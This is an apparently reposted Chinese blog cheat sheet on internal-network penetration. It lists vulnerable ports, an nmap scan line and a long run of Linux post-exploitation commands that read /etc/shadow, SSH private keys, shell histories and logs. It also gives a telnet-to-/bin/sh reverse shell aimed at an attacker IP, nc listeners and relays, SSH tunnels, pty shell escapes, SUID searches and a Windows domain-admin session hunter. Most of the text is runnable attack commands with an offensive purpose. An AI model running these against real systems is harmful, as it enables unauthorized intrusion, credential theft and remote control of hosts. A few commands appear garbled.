内网渗透合集(一)

admin 2021年9月2日09:52:55评论61 views字数 14298阅读47分39秒阅读模式

常见脆弱端口扫描

21 ftp 主要看是否支持匿名,也可以跑弱口令
80 web 常见web漏洞以及是否为一些管理后台
443 openssl 心脏滴血以及一些web漏洞测试
873 rsync 主要看是否支持匿名,也可以跑弱口令
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网

5900 vnc
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis 一般无认证,可直接访问

7001的weblogic,默认弱口令,8080的tomcat,默认弱口令

8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
9200 elasticsearch
11211 memcache 未授权访问
27017 mongodb 未授权访问
28017 mongodb统计页面

50000端口SAP命令执行

2222 DA虚拟主机管理系统登陆 (国外用较多)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
3312/3311 kangle主机管理系统登陆
8083 Vestacp主机管理系统 (国外用较多)
7778 Kloxo主机控制面板登录
10000 Virtualmin/Webmin 服务器虚拟主机管理系统

附上自己平时用的nmap命令,由于之前发包太大vps被封过一次,所以加了一些限速的参数
./nmap -sT -sV -p 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017 --max-hostgroup 10 --max-parallelism 10 --max-rtt-timeout 1000ms --host-timeout 800s --max-scan-delay 2000ms -iL iplist.txt -oN result/port.txt --open

获得操作系统版本

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

获得内核版本

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

正在运行的服务

ps aux
ps -ef
top
cat /etc/service

哪些服务具有root权限

ps aux | grep root
ps -ef | grep root

安装了哪些程序,版本,以及正在运行的

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服务的配置文件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

工作计划

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

网络配置

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他用户主机与系统的通信?

1

2

3

4

5

6

7

8

9

10

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

缓存?IP和/或MAC地址?

1

2

3

arp -e

route

/sbin/route -nee

数据包可能嗅探吗?可以看出什么?监听流量

1

2

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何get一个shell?你如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

1

2

nc -lvp 4444 # Attacker. 输入 (命令)

nc -lvp 4445 # Attacker. 输出(结果)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# rinetd

1

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

1

2

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

1

2

3

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

#mknod

1

2

3

4

# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

建立隧道可能吗?本地,远程发送命令

1

2

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

  • 秘密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

1

2

3

4

5

6

7

8

9

id

who

w

last

cat /etc/passwd | cut -d: # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

可以找到什么敏感文件?

1

2

3

4

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

1

2

ls -ahlR /root/

ls -ahlR /home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

1

2

3

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

1

2

3

4

5

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到什么样的用户信息

1

2

3

4

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

private-key 信息能否被发现?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

  • 文件系统

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

1

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

1

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

1

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

1

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

1

2

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /有什么可以发现?

1

2

3

4

5

6

7

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

1

2

3

4

5

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

1

2

3

4

5

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导......)

如果命令限制,你可以打出哪些突破它的限制?

1

python -c 'import pty;pty.spawn("/bin/bash")'

1

echo os.system('/bin/bash')

1

/bin/sh -i

如何安装文件系统?

1

2

mount

df -h

是否有挂载的文件系统?

1

cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

1

2

3

4

5

6

7

8

9

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)


# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)


find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

1

2

3

4

5

6

7

8

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o+w -type d 2>/dev/null # world-writeable folders

find / -perm -o+x -type d 2>/dev/null # world-executable folders

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders

Any "problem" files?可写的的,“没有使用"的文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

  • 准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

1

2

3

4

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件?

1

2

3

4

5

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

内网渗透合集(一)

下面这个Windows命令行脚本将扫描远程系统活跃域管理会话。

1

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

你也可以使用nbtscan工具

1

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

使用cobalt strike探测内网,执行arp scan扫描机器,add route添加路由,调用msf各个扫描模块或nmap对网内的机器开放端口版本操作系统类型进行探测。

linux系统中常见路径

内网渗透合集(一)
内网渗透合集(一)

文章来自:

https://www.91ri.org/7911.html

https://www.91ri.org/7459.html

http://zone.wooyun.org/content/18959

http://drops.wooyun.org/tips/421

嗯,这个内网渗透系列大多是从网上摘抄的(如果哪里缺少东西请私m我),大致分为信息收集,端口反弹与转发,还有其他的一些利用方式,为了大家方便看,我就把每块都搞在一起,过年那阵子用c#写了个windows内网信息收集的东西发在freebuf上(http://www.freebuf.com/tools/57828.html),深得一些“大牛”以及“黑客”的一顿喷,c#确实是有环境依赖,但是毕竟是微软的东西,大部分的windows机器都有.net环境,更有大牛说为什么不用python写,,,这个我就不知道怎么说了,有几个win装py的呢,那个工具的下载地址:http://pan.baidu.com/s/1eQtVV82,其实管他是什么东西,能达到我们的目的就是好东西。

搞这个公众号的目的就是想要让各位技术人找到当年的纯技术归属感,眼下xx,xx,xx,娱乐性的组织太多,没用的黑客新闻太多,所以不多说了,谢谢各位关注,也感谢俊哥(we8),liuker每天帮我转发。

如果小歪每天写的公众号能让你学到东西,让各位觉得不错的话,请动动手指,分享一下,谢谢了。


本文始发于微信公众号(关注安全技术):内网渗透合集(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月2日09:52:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透合集(一)http://cn-sec.com/archives/503208.html

发表评论

匿名网友 填写信息